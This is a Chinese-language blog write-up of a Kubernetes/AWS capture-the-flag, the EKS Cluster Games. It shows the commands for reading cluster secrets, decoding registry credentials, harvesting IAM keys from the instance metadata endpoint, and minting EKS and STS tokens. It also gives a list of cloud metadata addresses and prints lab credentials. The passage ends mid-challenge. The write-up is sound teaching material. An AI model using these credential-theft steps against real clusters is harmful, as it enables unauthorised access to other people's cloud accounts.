从EKS CLUSTER GAMES看云原生安全
最近WIZ弄了一个云原生的安全挑战赛,刚出来的时候就已经打通关了,年底比较忙,一直没时间写篇文章记录下整个过程,发现这个挑战赛实在是太经典了,所以还是决定写篇文章记录下,顺便谈谈我从中学到的东西和感悟。
靶场地址:https://eksclustergames.com/
前言
靶场的环境是假设你入侵了一个低权限的AWS EKS Pod,在pod中寻找Flag,每个挑战都在具有不同权限的不同 Kubernetes 命名空间中运行,一共有5个关卡。
一、Secret Seeker
Jumpstart your quest by listing all the secrets in the cluster. Can you spot the flag among them?
{
"secrets": [
"get",
"list"
]
}
这道题给出了对应的权限,发现secrets有get
和list
权限,那我们就尝试读取一下。
root@wiz-eks-challenge:~# kubectl get secrets log-rotate -o yaml
apiVersion: v1
data:
flag: d2l6X2Vrc19jaGFsbGVuZ2V7b21nX292ZXJfcHJpdmlsZWdlZF9zZWNyZXRfYWNjZXNzfQ==
kind: Secret
metadata:
creationTimestamp: "2023-11-01T13:02:08Z"
name: log-rotate
namespace: challenge1
resourceVersion: "890951"
uid: 03f6372c-b728-4c5b-ad28-70d5af8d387c
type: Opaque
我们可以轻松读取到log-rotate
这里面有flag,经过Base64解码后就能得到真正的Flag。
wiz_eks_challenge{omg_over_privileged_secret_access}
这题的考点就是在K8s的secret上,secret用来保存敏感数据,例如密码,token,或者秘钥,这类数据可以存放在Pod或者镜像中,但是放在Secret中是为了更方便的控制如何使用数据,并减少暴露的风险。
但是如果没有做好权限控制,攻击者就可能从secret中获取到敏感信息,更重要的一点是,Secret中使用Base64编码并不安全。
二、Registry Hunt
A thing we learned during our research: always check the container registries.
For your convenience, the crane utility is already pre-installed on the machine.
{
"secrets": [
"get"
],
"pods": [
"list",
"get"
]
}
如果说第一题是签到题,那么第二题就开始有些难度了,在这个权限下,我们没有办法像第一题那样去列出secrets,但是给了我们pods部分权限。
(图1:无法列出secrets)
那我们先看看pod里都有些什么?
root@wiz-eks-challenge:~# kubectl get pods -o yaml
apiVersion: v1
items:
- apiVersion: v1
kind: Pod
metadata:
annotations:
kubernetes.io/psp: eks.privileged
pulumi.com/autonamed: "true"
creationTimestamp: "2023-11-01T13:32:05Z"
name: database-pod-2c9b3a4e
namespace: challenge2
resourceVersion: "12166896"
uid: 57fe7d43-5eb3-4554-98da-47340d94b4a6
spec:
containers:
- image: eksclustergames/base_ext_image
imagePullPolicy: Always
name: my-container
resources: {}
terminationMessagePath: /dev/termination-log
terminationMessagePolicy: File
volumeMounts:
- mountPath: /var/run/secrets/kubernetes.io/serviceaccount
name: kube-api-access-cq4m2
readOnly: true
dnsPolicy: ClusterFirst
enableServiceLinks: true
imagePullSecrets:
- name: registry-pull-secrets-780bab1d
nodeName: ip-192-168-21-50.us-west-1.compute.internal
preemptionPolicy: PreemptLowerPriority
priority: 0
restartPolicy: Always
schedulerName: default-scheduler
securityContext: {}
serviceAccount: default
serviceAccountName: default
terminationGracePeriodSeconds: 30
tolerations:
- effect: NoExecute
key: node.kubernetes.io/not-ready
operator: Exists
tolerationSeconds: 300
- effect: NoExecute
key: node.kubernetes.io/unreachable
operator: Exists
tolerationSeconds: 300
volumes:
- name: kube-api-access-cq4m2
projected:
defaultMode: 420
sources:
- serviceAccountToken:
expirationSeconds: 3607
path: token
- configMap:
items:
- key: ca.crt
path: ca.crt
name: kube-root-ca.crt
- downwardAPI:
items:
- fieldRef:
apiVersion: v1
fieldPath: metadata.namespace
path: namespace
status:
conditions:
- lastProbeTime: null
lastTransitionTime: "2023-11-01T13:32:05Z"
status: "True"
type: Initialized
- lastProbeTime: null
lastTransitionTime: "2023-12-07T19:54:26Z"
status: "True"
type: Ready
- lastProbeTime: null
lastTransitionTime: "2023-12-07T19:54:26Z"
status: "True"
type: ContainersReady
- lastProbeTime: null
lastTransitionTime: "2023-11-01T13:32:05Z"
status: "True"
type: PodScheduled
containerStatuses:
- containerID: containerd://8010fe76a2bcad0d49b7d810efd7afdecdf00815a9f5197b651b26ddc5de1eb0
image: docker.io/eksclustergames/base_ext_image:latest
imageID: docker.io/eksclustergames/base_ext_image@sha256:a17a9428af1cc25f2158dfba0fe3662cad25b7627b09bf24a915a70831d82623
lastState:
terminated:
containerID: containerd://b427307b7f428bcf6a50bb40ebef194ba358f77dbdb3e7025f46be02b922f5af
exitCode: 0
finishedAt: "2023-12-07T19:54:25Z"
reason: Completed
startedAt: "2023-11-01T13:32:08Z"
name: my-container
ready: true
restartCount: 1
started: true
state:
running:
startedAt: "2023-12-07T19:54:26Z"
hostIP: 192.168.21.50
phase: Running
podIP: 192.168.12.173
podIPs:
- ip: 192.168.12.173
qosClass: BestEffort
startTime: "2023-11-01T13:32:05Z"
kind: List
metadata:
resourceVersion: ""
这里我们关注的点在imagePullSecrets
,imagePullSecrets
是用于在Kubernetes集群中拉取私有Docker镜像的一种机制。在Kubernetes中,Pods可以通过imagePullSecrets
配置项指定一个或多个用于身份验证的凭据,以访问私有的Docker镜像仓库。这对于需要访问私有镜像的场景非常有用,因为它允许Kubernetes集群中的Pods在从私有仓库拉取镜像时提供必要的凭据。
imagePullSecrets
通常包含一个或多个Docker Registry的凭据,包括用户名、密码等信息。这些凭据被加密存储在Kubernetes集群中,并在Pods启动时自动注入到相应的容器中,以便访问需要身份验证的私有镜像。
说简单点就是,我还是可以读取到registry
、username
和password
,这些用于拉取镜像的信息。
root@wiz-eks-challenge:~# kubectl get secret registry-pull-secrets-780bab1d --namespace=challenge2 -o json
{
"apiVersion": "v1",
"data": {
".dockerconfigjson": "eyJhdXRocyI6IHsiaW5kZXguZG9ja2VyLmlvL3YxLyI6IHsiYXV0aCI6ICJaV3R6WTJ4MWMzUmxjbWRoYldWek9tUmphM0pmY0dGMFgxbDBibU5XTFZJNE5XMUhOMjAwYkhJME5XbFpVV280Um5WRGJ3PT0ifX19"
},
"kind": "Secret",
"metadata": {
"annotations": {
"pulumi.com/autonamed": "true"
},
"creationTimestamp": "2023-11-01T13:31:29Z",
"name": "registry-pull-secrets-780bab1d",
"namespace": "challenge2",
"resourceVersion": "897340",
"uid": "1348531e-57ff-42df-b074-d9ecd566e18b"
},
"type": "kubernetes.io/dockerconfigjson"
}
我们将得到的.dockerconfigjson
进行base64解码。
{"auths": {"index.docker.io/v1/": {"auth": "ZWtzY2x1c3RlcmdhbWVzOmRja3JfcGF0X1l0bmNWLVI4NW1HN200bHI0NWlZUWo4RnVDbw=="}}}
我们再进行二次Base64解码。
eksclustergames:dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo
至此,我们拿到了registry
、username
和password
,题目提示我们已经装好了crane
,那看来我们的思路没有错,我们直接拿凭据登录。
crane auth login index.docker.io -u eksclustergames -p dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo
提示登录成功,然后我们使用crane config
信息查看镜像信息,直接发现Flag。
root@wiz-eks-challenge:~# crane config eksclustergames/base_ext_image:latest
{"architecture":"amd64","config":{"Env":["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"],"Cmd":["/bin/sleep","3133337"],"ArgsEscaped":true,"OnBuild":null},"created":"2023-11-01T13:32:18.920734382Z","history":[{"created":"2023-07-18T23:19:33.538571854Z","created_by":"/bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in / "},{"created":"2023-07-18T23:19:33.655005962Z","created_by":"/bin/sh -c #(nop) CMD [\"sh\"]","empty_layer":true},{"created":"2023-11-01T13:32:18.920734382Z","created_by":"RUN sh -c echo 'wiz_eks_challenge{nothing_can_be_said_to_be_certain_except_death_taxes_and_the_exisitense_of_misconfigured_imagepullsecret}' \u003e /flag.txt # buildkit","comment":"buildkit.dockerfile.v0"},{"created":"2023-11-01T13:32:18.920734382Z","created_by":"CMD [\"/bin/sleep\" \"3133337\"]","comment":"buildkit.dockerfile.v0","empty_layer":true}],"os":"linux","rootfs":{"type":"layers","diff_ids":["sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f","sha256:a70cef1cb742e242b33cc21f949af6dc7e59b6ea3ce595c61c179c3be0e5d432"]}}
wiz_eks_challenge{nothing_can_be_said_to_be_certain_except_death_taxes_and_the_exisitense_of_misconfigured_imagepullsecret}
这里值得一提的是,这道题是之前阿里云和IBM云中的跨租户未经授权访问漏洞的真实案例改编而来,过程远比这个复杂,但是思路是一样的,有兴趣可以延伸阅读,相关地址如下:
https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql
三、Image Inquisition
A pod's image holds more than just code. Dive deep into its ECR repository, inspect the image layers, and uncover the hidden secret.
Remember: You are running inside a compromised EKS pod.
For your convenience, the crane utility is already pre-installed on the machine.
{
"pods": [
"list",
"get"
]
}
这道题算是Registry Hunt
的升级,这里直接没有给secrets
的权限了,只有pod
的权限,先走一遍流程,看一下pod里都有什么。
root@wiz-eks-challenge:~# kubectl get pods -o yaml
apiVersion: v1
items:
- apiVersion: v1
kind: Pod
metadata:
annotations:
kubernetes.io/psp: eks.privileged
pulumi.com/autonamed: "true"
creationTimestamp: "2023-11-01T13:32:10Z"
name: accounting-pod-876647f8
namespace: challenge3
resourceVersion: "12166911"
uid: dd2256ae-26ca-4b94-a4bf-4ac1768a54e2
spec:
containers:
- image: 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01
imagePullPolicy: IfNotPresent
name: accounting-container
resources: {}
terminationMessagePath: /dev/termination-log
terminationMessagePolicy: File
volumeMounts:
- mountPath: /var/run/secrets/kubernetes.io/serviceaccount
name: kube-api-access-mmvjj
readOnly: true
dnsPolicy: ClusterFirst
enableServiceLinks: true
nodeName: ip-192-168-21-50.us-west-1.compute.internal
preemptionPolicy: PreemptLowerPriority
priority: 0
restartPolicy: Always
schedulerName: default-scheduler
securityContext: {}
serviceAccount: default
serviceAccountName: default
terminationGracePeriodSeconds: 30
tolerations:
- effect: NoExecute
key: node.kubernetes.io/not-ready
operator: Exists
tolerationSeconds: 300
- effect: NoExecute
key: node.kubernetes.io/unreachable
operator: Exists
tolerationSeconds: 300
volumes:
- name: kube-api-access-mmvjj
projected:
defaultMode: 420
sources:
- serviceAccountToken:
expirationSeconds: 3607
path: token
- configMap:
items:
- key: ca.crt
path: ca.crt
name: kube-root-ca.crt
- downwardAPI:
items:
- fieldRef:
apiVersion: v1
fieldPath: metadata.namespace
path: namespace
status:
conditions:
- lastProbeTime: null
lastTransitionTime: "2023-11-01T13:32:10Z"
status: "True"
type: Initialized
- lastProbeTime: null
lastTransitionTime: "2023-12-07T19:54:29Z"
status: "True"
type: Ready
- lastProbeTime: null
lastTransitionTime: "2023-12-07T19:54:29Z"
status: "True"
type: ContainersReady
- lastProbeTime: null
lastTransitionTime: "2023-11-01T13:32:10Z"
status: "True"
type: PodScheduled
containerStatuses:
- containerID: containerd://665178aaf28ddd6d73bf88958605be9851e03eed9c1e61f1a1176a69719191f2
image: sha256:575a75bed1bdcf83fba40e82c30a7eec7bc758645830332a38cef238cd4cf0f3
imageID: 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01
lastState:
terminated:
containerID: containerd://c465d5104e6f4cac49da0b7495eb2f7c251770f8bf3ce4a1096cf5c704b9ebbe
exitCode: 0
finishedAt: "2023-12-07T19:54:28Z"
reason: Completed
startedAt: "2023-11-01T13:32:11Z"
name: accounting-container
ready: true
restartCount: 1
started: true
state:
running:
startedAt: "2023-12-07T19:54:29Z"
hostIP: 192.168.21.50
phase: Running
podIP: 192.168.5.251
podIPs:
- ip: 192.168.5.251
qosClass: BestEffort
startTime: "2023-11-01T13:32:10Z"
kind: List
metadata:
resourceVersion: ""
这里我们看到registry
从docker.io
变为了688655246681.dkr.ecr.us-west-1.amazonaws.com
,题目也提示是ECR,那就要想办法获取ECR的凭据了。
Amazon ECR是亚马逊提供的一种容器镜像注册表服务,用于存储、管理和部署Docker容器镜像
那我们根据pod中的信息获取到了imageID
,我们就尝试读取一下试试?
(图2:没有权限读取)
既然在EKS环境,而EKS又在AWS云上,首先想到去读一下元数据。
root@wiz-eks-challenge:~# curl http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 523 100 523 0 0 1305 0 --:--:-- --:--:-- --:--:-- 1307
{
"AccessKeyId": "ASIA2AVYNEVMQNCHP4P5",
"Expiration": "2023-12-20 19:37:52+00:00",
"SecretAccessKey": "a+2FDCofUYQrvZUHKdPUMP4RxMNmdjYpqwC1En6M",
"SessionToken": "FwoGZXIvYXdzEIz//////////wEaDHPb3drwbsRH6wtA8iK3AYqcQSLmfiCu+hmW1eM95tlxfRsoafosQ2MZnD7on00gABGFbWJhsmkSM9IRF4zWKWPG7nlwrjXxqYqGAVV/CPmQK0iz5MJR4txRB7rin1hH6ivhgZjZY7yq0f+/uv9TX2Cv95RtzVh9+Azhrp20BSqthD+Lu3p1NVPl6mLcb8khsvrWV2KjSUEPb/OFFnOSMjFCJXKFvHWtaOz3nQQV/gjb8RKUQkXPq01ai6JifG6sUW6cxI/gWSin9IysBjIt2shS4nrklWwSBsTQ6URY/jsdVK+F+/XJGq4uOwQCJttz0wN8ZZ1w5pjgBmMi"
}
(图3:通过元数据地址读取到AWS的AK/SK)
接着我们继续使用拿到的AK/SK作为
crane auth login 688655246681.dkr.ecr.us-west-1.amazonaws.com -u ASIA2AVYNEVMVEC2UXYI -p vhBR/+x6wQ3hssszPxN1aHve6MIokbGF9SxZycYG
很显然不能这样登录,阅读了ECR的文档后发现,需要先用aws-cli获取一下,经过测试后发现,环境里正好有aws-cli环境,所以就直接利用aws-cli命令登录ECR。
root@wiz-eks-challenge:~# export AWS_ACCESS_KEY_ID=ASIA2AVYNEVMQNCHP4P5
root@wiz-eks-challenge:~# export AWS_SECRET_ACCESS_KEY=a+2FDCofUYQrvZUHKdPUMP4RxMNmdjYpqwC1En6M
export root@wiz-eks-challenge:~# AWS_SESSION_TOKEN=FwoGZXIvYXdzEIz//////////wEaDHPb3drwbsRH6wtA8iK3AYqcQSLmfiCu+hmW1eM95tlxfRsoafosQ2MZnD7on00gABGFbWJhsmkSM9IRF4zWKWPG7nlwrjXxqYqGAVV/CPmQK0iz5MJR4txRB7rin1hH6ivhgZjZY7yq0f+/uv9TX2Cv95RtzVh9+Azhrp20BSqthD+Lu3p1NVPl6mLcb8khsvrWV2KjSUEPb/OFFnOSMjFCJXKFvHWtaOz3nQQV/gjb8RKUQkXPq01ai6JifG6sUW6cxI/gWSin9IysBjIt2shS4nrklWwSBsTQ6URY/jsdVK+F+/XJGq4uOwQCJttz0wN8ZZ1w5pjgBmMi
root@wiz-eks-challenge:~# aws ecr get-login-password|crane auth login 688655246681.dkr.ecr.us-west-1.amazonaws.com -u AWS --password-stdin
2023/12/20 19:06:36 logged in via /home/user/.docker/config.json
root@wiz-eks-challenge:~# crane config 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01 | jq
{
"architecture": "amd64",
"config": {
"Env": [
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
],
"Cmd": [
"/bin/sleep",
"3133337"
],
"ArgsEscaped": true,
"OnBuild": null
},
"created": "2023-11-01T13:32:07.782534085Z",
"history": [
{
"created": "2023-07-18T23:19:33.538571854Z",
"created_by": "/bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in / "
},
{
"created": "2023-07-18T23:19:33.655005962Z",
"created_by": "/bin/sh -c #(nop) CMD [\"sh\"]",
"empty_layer": true
},
{
"created": "2023-11-01T13:32:07.782534085Z",
"created_by": "RUN sh -c #[email protected] ARTIFACTORY_TOKEN=wiz_eks_challenge{the_history_of_container_images_could_reveal_the_secrets_to_the_future} ARTIFACTORY_REPO=base_repo /bin/sh -c pip install setuptools --index-url intrepo.eksclustergames.com # buildkit # buildkit",
"comment": "buildkit.dockerfile.v0"
},
{
"created": "2023-11-01T13:32:07.782534085Z",
"created_by": "CMD [\"/bin/sleep\" \"3133337\"]",
"comment": "buildkit.dockerfile.v0",
"empty_layer": true
}
],
"os": "linux",
"rootfs": {
"type": "layers",
"diff_ids": [
"sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f",
"sha256:9057b2e37673dc3d5c78e0c3c5c39d5d0a4cf5b47663a4f50f5c6d56d8fd6ad5"
]
}
}
(图4:通过读取config信息获取到Flag)
wiz_eks_challenge{the_history_of_container_images_could_reveal_the_secrets_to_the_future}
这道题其实就是常规的AK/SK利用手法,熟悉公有云攻防的小伙伴们应该都不陌生,同时这也是公有云上后渗透的常规思路,以下是常见的公有云厂商的元数据地址:
#AWS
http://instance-data
http://169.254.169.254
#Google Cloud
http://169.254.169.254
http://metadata.google.internal
http://metadata
#Azure
http://169.254.169.254
#Digital Ocean
http://169.254.169.254
#Packetcloud
https://metadata.packet.net
#Oracle Cloud
http://169.254.169.254
#Alibaba Cloud
http://100.100.100.200
#Tencent Cloud
http://metadata.tencentyun.com
http://169.254.0.23
四、Pod Break
You're inside a vulnerable pod on an EKS cluster. Your pod's service-account has no permissions. Can you navigate your way to access the EKS Node's privileged service-account?
Please be aware: Due to security considerations aimed at safeguarding the CTF infrastructure, the node has restricted permissions
这题告诉我们已经在EKS集群内的pod内了,并且所在的pod的服务账户没有权限,要我接管EKS。
首先先获取当前 AWS 身份的信息,
root@wiz-eks-challenge:~# aws sts get-caller-identity
{
"UserId": "AROA2AVYNEVMQ3Z5GHZHS:i-0cb922c6673973282",
"Account": "688655246681",
"Arn": "arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282"
}
这里我们可以看到Arn信息,从中我们能得知很多信息,通过查阅AWS-CLI文档关于EKS的部分,发现有个get-token
的选项,我们尝试一下。
aws eks get-token --cluster-name <你的集群名称> > eks-token.json
这里有一个坑点,我找不到集群名称,一开始我打算使用aws eks list-clusters
列出集群名称,但是发现没有权限,后面随便盲猜发现eks-challenge-cluster
可列出。
aws eks get-token --cluster-name eks-challenge-cluster
但是我又随便尝试了123
也可以列出,经过后续测试发现列出的token是无法利用的。
aws eks get-token --cluster-name eks-challenge-cluster
(图5:成功获取了eks的token,这里虽然获取到了,但是其实是无法利用的)
我们重新获取eks-challenge-cluster
的token,我们继续利用:
kubectl auth can-i --list --token="k8s-aws-v1.aHR0cHM6Ly9zdHMudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vP0FjdGlvbj1HZXRDYWxsZXJJZGVudGl0eSZWZXJzaW9uPTIwMTEtMDYtMTUmWC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BU0lBMkFWWU5FVk01Nkw1SDJYSyUyRjIwMjMxMjIxJTJGdXMtd2VzdC0xJTJGc3RzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyMzEyMjFUMDYyMzEzWiZYLUFtei1FeHBpcmVzPTYwJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCUzQngtazhzLWF3cy1pZCZYLUFtei1TZWN1cml0eS1Ub2tlbj1Gd29HWlhJdllYZHpFSmolMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkZ3RWFETUpKY3RHT0xRT1JTVmp6WFNLM0FlbXpLJTJCcEtHNmFXQ2J4JTJGYUtVc0dma3FqUGdDdXZ3a2szVjY1eTFMYTBCNEFEdFRabk1IZ2NIRWd1JTJGM1YlMkJJakFSWVEwOUh0YWI1SFdHWXN3R2FOc01jbCUyRmJKUDJhcXBJMFZKTHA1UElxSTBMb1R1OFp5ZiUyRlJOUmZVSktyQWlxVnYlMkY0MnptTzJTdlBGRUtXVmkwaG5rUW45c01yWFBXWG5UbFYweXJoT0FucnZNZUZsR0FxR21YNiUyQm00RmEwUHQ5ZjkzMGlQMXZwMnVYZ1dBOFRmaEt5dnBMSENVMiUyQllKODZWdEVHWkU5cUp4SUVkeFk1aGx6U2pzcTQlMkJzQmpJdFdGJTJGNUVXZlRMOFk3SjMxUSUyQkMzZHZXVGc3Wm56JTJGQ2VwNE1KJTJGTTVobVlmSUJJJTJCV2Vaa21ncWJTR2F5TlcmWC1BbXotU2lnbmF0dXJlPWYwMDVmYzdhZmU5NWVjZWVmMjcwNWNiN2YzNzVhMzkzNGIyNjlkZjY0MTBmODUwZTU0ZTVmZDE2YWQ1NGFkOWY"
(图6:成功列举权限)
kubectl get secrets -o yaml --token="k8s-aws-v1.aHR0cHM6Ly9zdHMudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vP0FjdGlvbj1HZXRDYWxsZXJJZGVudGl0eSZWZXJzaW9uPTIwMTEtMDYtMTUmWC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BU0lBMkFWWU5FVk01Nkw1SDJYSyUyRjIwMjMxMjIxJTJGdXMtd2VzdC0xJTJGc3RzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyMzEyMjFUMDYyMzEzWiZYLUFtei1FeHBpcmVzPTYwJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCUzQngtazhzLWF3cy1pZCZYLUFtei1TZWN1cml0eS1Ub2tlbj1Gd29HWlhJdllYZHpFSmolMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkZ3RWFETUpKY3RHT0xRT1JTVmp6WFNLM0FlbXpLJTJCcEtHNmFXQ2J4JTJGYUtVc0dma3FqUGdDdXZ3a2szVjY1eTFMYTBCNEFEdFRabk1IZ2NIRWd1JTJGM1YlMkJJakFSWVEwOUh0YWI1SFdHWXN3R2FOc01jbCUyRmJKUDJhcXBJMFZKTHA1UElxSTBMb1R1OFp5ZiUyRlJOUmZVSktyQWlxVnYlMkY0MnptTzJTdlBGRUtXVmkwaG5rUW45c01yWFBXWG5UbFYweXJoT0FucnZNZUZsR0FxR21YNiUyQm00RmEwUHQ5ZjkzMGlQMXZwMnVYZ1dBOFRmaEt5dnBMSENVMiUyQllKODZWdEVHWkU5cUp4SUVkeFk1aGx6U2pzcTQlMkJzQmpJdFdGJTJGNUVXZlRMOFk3SjMxUSUyQkMzZHZXVGc3Wm56JTJGQ2VwNE1KJTJGTTVobVlmSUJJJTJCV2Vaa21ncWJTR2F5TlcmWC1BbXotU2lnbmF0dXJlPWYwMDVmYzdhZmU5NWVjZWVmMjcwNWNiN2YzNzVhMzkzNGIyNjlkZjY0MTBmODUwZTU0ZTVmZDE2YWQ1NGFkOWY"
(图7:获取到secrets中的Flag)
可以看到轻松获取到Flag
wiz_eks_challenge{only_a_real_pro_can_navigate_IMDS_to_EKS_congrats}
这道题目其实就是考察对AWS元数据以及EKS的后利用,这个配置错误在现实生活中非常常见,由于需要题目需要,所以这里其实对权限做了很多限制,现实生活中权限往往更大。
五、Container Secrets Infrastructure
You've successfully transitioned from a limited Service Account to a Node Service Account! Great job. Your next challenge is to move from the EKS to the AWS account. Can you acquire the AWS role of the s3access-sa service account, and get the flag?
IAM Policy
{
"Policy": {
"Statement": [
{
"Action": [
"s3:GetObject",
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": [
"arn:aws:s3:::challenge-flag-bucket-3ff1ae2",
"arn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag"
]
}
],
"Version": "2012-10-17"
}
}
Trust Policy
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589:aud": "sts.amazonaws.com"
}
}
}
]
}
Permissions
{
"secrets": [
"get",
"list"
],
"serviceaccounts": [
"get",
"list"
],
"pods": [
"get",
"list"
],
"serviceaccounts/token": [
"create"
]
}
通过题目说明得知这次是要求我们从EKS提升到AWS权限,这其实就是第四题的进一步利用,第四题我们从受限的服务帐户提升到节点服务帐户。并且从给出的 IAM Policy
可以看到Flag就在S3的存储桶里,那么这时候我们的思路就是如何生成一个aws令牌。
并且还给出了一个我没见过的OIDC
服务,我们先去看下官方文档是怎么说的:
AWS的OpenID Connect (OIDC) 是一种身份验证协议,它允许您使用第三方身份提供商(如 Google、Facebook 或企业身份系统)来认证用户。在AWS中,您可以创建一个OIDC身份提供商,然后利用这个提供商来授予AWS资源的访问权限。
那我们的思路就非常明朗了,利用OIDC服务去创建AWS的令牌。
(图8:ChatGPT关于OIDC服务的描述)
我们先看kubectl的权限情况,还是跟题4一样的权限,不同的是这时候secrets里就没有Flag了,我们看到可以创建serviceaccounts/token
,那就创建个token试试看。
(图9:查看权限)
创建出来的token如下
root@wiz-eks-challenge:~# kubectl create token debug-sa --token="省略"
eyJhbGciOiJSUzI1NiIsImtpZCI6IjE2NjQzOGRlMGNjNzk5OGMzODNlYWRmOTM4NmEzN2FhODBmODlkNGEifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjIl0sImV4cCI6MTcwMzE0ODI4NywiaWF0IjoxNzAzMTQ0Njg3LCJpc3MiOiJodHRwczovL29pZGMuZWtzLnVzLXdlc3QtMS5hbWF6b25hd3MuY29tL2lkL0MwNjJDMjA3QzhGNTBERTRFQzI0QTM3MkZGNjBFNTg5Iiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJjaGFsbGVuZ2U1Iiwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImRlYnVnLXNhIiwidWlkIjoiNmNiNjAyNGEtYzRkYS00N2E5LTkwNTAtNTljOGM3MDc5OTA0In19LCJuYmYiOjE3MDMxNDQ2ODcsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpjaGFsbGVuZ2U1OmRlYnVnLXNhIn0.CDOjlkmZiKydGwzyd1LoF3eXSVLt10kV0LGLHHk9eXwEsvTd5nH7c_GyGlmucDRq0ovPAiA1v6RpaAGbF2DfkKJRL9RFPTxzkbbF1M4ub91uTBKVWvQtmFRdLi1iOC5r4Htdyse16gjkm-tgwkH86gjoJVWEYM5GlLyRkUfG84Sp7jhT1-urVVHtE56KQ4PsCKyyyVeEX4-BHqqprZ9ra2V4k5fATySHN07o3uBQz4QGPWCVaXeZ-PEPmB780Zb06SWssvGlNw2j8MKfKGVlkZtdhmnRvPjI2oDGsoeCaKbSIWXDcg1go5c9MEiXgY2-8mzsdGDxghQVERpeEkCj5A
(图10:从debug-sa创建出来的token通过jwt解密发现有OIDC权限)
但是发现生成的Token并不能用于AWS,经过一番尝试发现需要加上参数--audience sts.amazonaws.com
。
root@wiz-eks-challenge:~# kubectl create token debug-sa --audience sts.amazonaws.com --token="省略"
eyJhbGciOiJSUzI1NiIsImtpZCI6IjE2NjQzOGRlMGNjNzk5OGMzODNlYWRmOTM4NmEzN2FhODBmODlkNGEifQ.eyJhdWQiOlsic3RzLmFtYXpvbmF3cy5jb20iXSwiZXhwIjoxNzAzMTQ4ODIwLCJpYXQiOjE3MDMxNDUyMjAsImlzcyI6Imh0dHBzOi8vb2lkYy5la3MudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vaWQvQzA2MkMyMDdDOEY1MERFNEVDMjRBMzcyRkY2MEU1ODkiLCJrdWJlcm5ldGVzLmlvIjp7Im5hbWVzcGFjZSI6ImNoYWxsZW5nZTUiLCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVidWctc2EiLCJ1aWQiOiI2Y2I2MDI0YS1jNGRhLTQ3YTktOTA1MC01OWM4YzcwNzk5MDQifX0sIm5iZiI6MTcwMzE0NTIyMCwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmNoYWxsZW5nZTU6ZGVidWctc2EifQ.tqwlsFNDlASHdd_ATTug57kHIuHzzmU9XkLUJ88cjpftY5FRgw6BxSI1Qx8AUSZbWcJvVjvHNdxfPOUgoLQHNR-9K1UG7Hkl-6z3Wd69xnfExQpYgoLZgGjyJZiA5WHX9qrAZCtPevyJUNqUadIi97Vh75y0zKeIFlwseQV_MnaZILtsc7M_iyBpypEtG23lGgZE6dCNxia225p0QXKQPnyQzIEjB84cEVJnQa739H-VeTZdwt7SOfD3-uMqnaoLfAKjImlf9Vz7L4Rr-5uWaE4nncMCFlTTBw3XbpGksS_CGs1Rsli-5NAOmGBR8jGnjSfpX5mGhhrn73EWfTyERg
(图11:重新生成的发现已经有了sts的权限)
(图12:成功获取AWS权限)
root@wiz-eks-challenge:~# export AWS_ACCESS_KEY_ID=ASIA2AVYNEVM4Z35S2XF
root@wiz-eks-challenge:~# export AWS_SECRET_ACCESS_KEY=BmwwpthMz2ivzM1yCkD0InVyUHoxYK09ojkOP7VD
